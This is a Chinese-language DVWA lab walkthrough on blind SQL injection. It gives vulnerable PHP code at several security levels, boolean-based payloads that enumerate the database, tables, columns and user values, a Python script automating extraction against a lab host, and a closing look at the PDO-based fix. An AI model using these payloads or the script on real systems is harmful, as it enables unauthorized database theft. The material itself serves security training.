1. 程式人生 > 實用技巧 >新手DVWA-SQL Injection (Blind)

新手DVWA-SQL Injection (Blind)

SQL Injection (Blind)

SQL Injection (Blind)即SQL盲注,同樣是由於web應用程式對使用者輸入資料沒有進行過濾或過濾不完全,導致輸入資料破壞原有SQL語句並執行惡意指令,與SQL注入區別在於SQL盲注沒有回顯,無法直接瞭解到惡意指令執行情況。

low

伺服器核心程式碼

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

low難度程式碼未對輸入資訊進行過濾,可以進行注入

解法

輸入 1' and 1=1 # 顯示資料在資料庫中

輸入 1' and 1=0 # 顯示資料不在資料庫中 說明語句注入成功

猜解資料庫名的長度 1' and length(database())=1 # 顯示MISSING

猜解到4的時候 顯示exists 說明資料庫名長度為4

之後逐個猜解庫名 1' and substr(database(),1,1)='a' # (MISSING)

以此類推 1' and substr(database(),1,1)='d' # (exists)

1' and substr(database(),2,1)='v' # (exists)

1' and substr(database(),3,1)='w' # (exists)

1' and substr(database(),4,1)='a' # (exists)

猜解表個數 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )=1 #

猜解表名長度 1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=1 #

猜解表名 1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='a' #

猜解欄位個數 1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' )=1 #

猜解欄位名長度 1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1))=1 #

猜解欄位名 1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='a' #

猜解值長度 1' and length((select user from dvwa.users limit 0,1))=1 #

猜解值 1' and substr((select user from dvwa.users limit 0,1),1,1)='a' #

medium

伺服器核心程式碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

從程式碼看,用mysqli_real_escape_string()函式過濾了一部分特殊符號,但注入點也變成了數字型,同時將傳引數方式變成post,並不能防止注入

解法

猜解資料庫名的長度 1 and length(database())=4 #

猜解資料庫名 1 and ascii(substr(database(),1,1))=100 #

猜解表個數 1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761 )=2 #

猜解表名長度 1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1))=9 #

猜解表名 1 and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1))=103 #

猜解欄位個數 1 and (select count(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 )=8 #

猜解欄位名長度 1 and length((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1))=4 #

猜解欄位名 1 and ascii(substr((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1),1,1))=117 #

猜解值長度 1 and length((select user from dvwa.users limit 0,1))=5 #

猜解值 1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #

high

伺服器核心程式碼

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

改用cookie傳值,沒有過濾,payload和前兩個基本差不多

解法

猜解資料庫名的長度 1' and length(database())=4 #

猜解資料庫名 1' and substr(database(),1,1)='d' #

猜解表個數 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )=2 #

猜解表名長度 1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9 #

猜解表名 1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='g' #

猜解欄位個數 1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' )=8 #

猜解欄位名長度 1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))=4 #

猜解欄位名 1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1),1,1)='u' #

猜解值長度 1' and length((select user from dvwa.users limit 0,1))=5 #

猜解值 1' and substr((select user from dvwa.users limit 0,1),1,1))='a' #

impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

從程式碼上看,判斷輸入引數是否為數字,後面還使用了PDO來防止SQL注入,這裡已經不能再進行SQL注入

指令碼

因為盲注比較複雜,所以一般我們選擇寫個指令碼來跑,這裡根據low難度來寫一個,medium和high也是同理,由於水平有限,寫的不一定好,應該只屬於勉強能把結果跑出來那種吧……

import requests
from lxml import etree

if __name__ == "__main__" :
    headers={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0',
        'Cookie': 'PHPSESSID=qapdt204upd005gebh8ikaern7; security=low'
        }
    url='http://192.168.37.141:89/vulnerabilities/sqli_blind/?id={n}&Submit=Submit'
    dic=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
         '0','1','2','3','4','5','6','7','8','9']
    
    database=''
    for i in range(1,5):
        for c in dic:
            payload="1' and substr(database(),{n},1)='{m}' %23"
            html=requests.get(url=url.format(n=payload.format(n=i,m=c)),headers=headers)
            if 'exists' in html.text:
                database+=c
                break
    print('資料庫名:'+database)

    for i in range(1,15):
        payload="1' and (select count(table_name) from information_schema.tables where table_schema='dvwa' )={n} %23 "
        html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
        if 'exists' in html.text:
            tablenum=i
            break
    print('表個數:'+str(tablenum))
    for i in range(0,tablenum):
        for j in range(1,25):
            payload="1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit {m},1))={n} %23"
            html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
            if 'exists' in html.text:
                tablelen=j
                table_name=''
                for k in range(0,tablelen+1):
                    for c in dic:
                        payload="1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit {m},1),{k},1)='{n}' %23"
                        html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
                        if 'exists' in html.text:
                            table_name+=c
                            break
                print('表名:'+table_name)
                break

    table_name=input('輸入表名:')

    for i in range(1,15):
        payload="1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' )={n} %23"
        html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
        if 'exists' in html.text:
            columnnum=i
            break
    print('欄位個數:'+str(columnnum))
    for i in range(0,columnnum):
        for j in range(1,25):
            payload="1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' limit {m},1))={n} %23"
            html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
            if 'exists' in html.text:
                columnlen=j
                column_name=''
                for k in range(0,columnlen+1):
                    for c in dic:
                        payload="1' and substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='"+table_name+"' limit {m},1),{k},1)='{n}' %23"
                        html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
                        if 'exists' in html.text:
                            column_name+=c
                            break
                print('欄位名:'+column_name)
                break
    while(1):
        column_name=input('輸入欄位名:')
        if column_name == '0':
            break
        else:
            for i in range(1,51):
                payload="1' and length((select "+column_name+" from dvwa."+table_name+" limit 0,1))={n} %23"
                html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
                if 'exists' in html.text:
                    valuenum=i
                    value=''
                    for j in range(1,valuenum+1):
                        for c in dic:
                            payload="1' and substr((select "+column_name+" from dvwa."+table_name+" limit 0,1),{k},1)='{n}' %23"
                            html=requests.get(url=url.format(n=payload.format(k=j,n=c)),headers=headers)
                            if 'exists' in html.text:
                                    value+=c
                    print(value)
                    break

下面是執行結果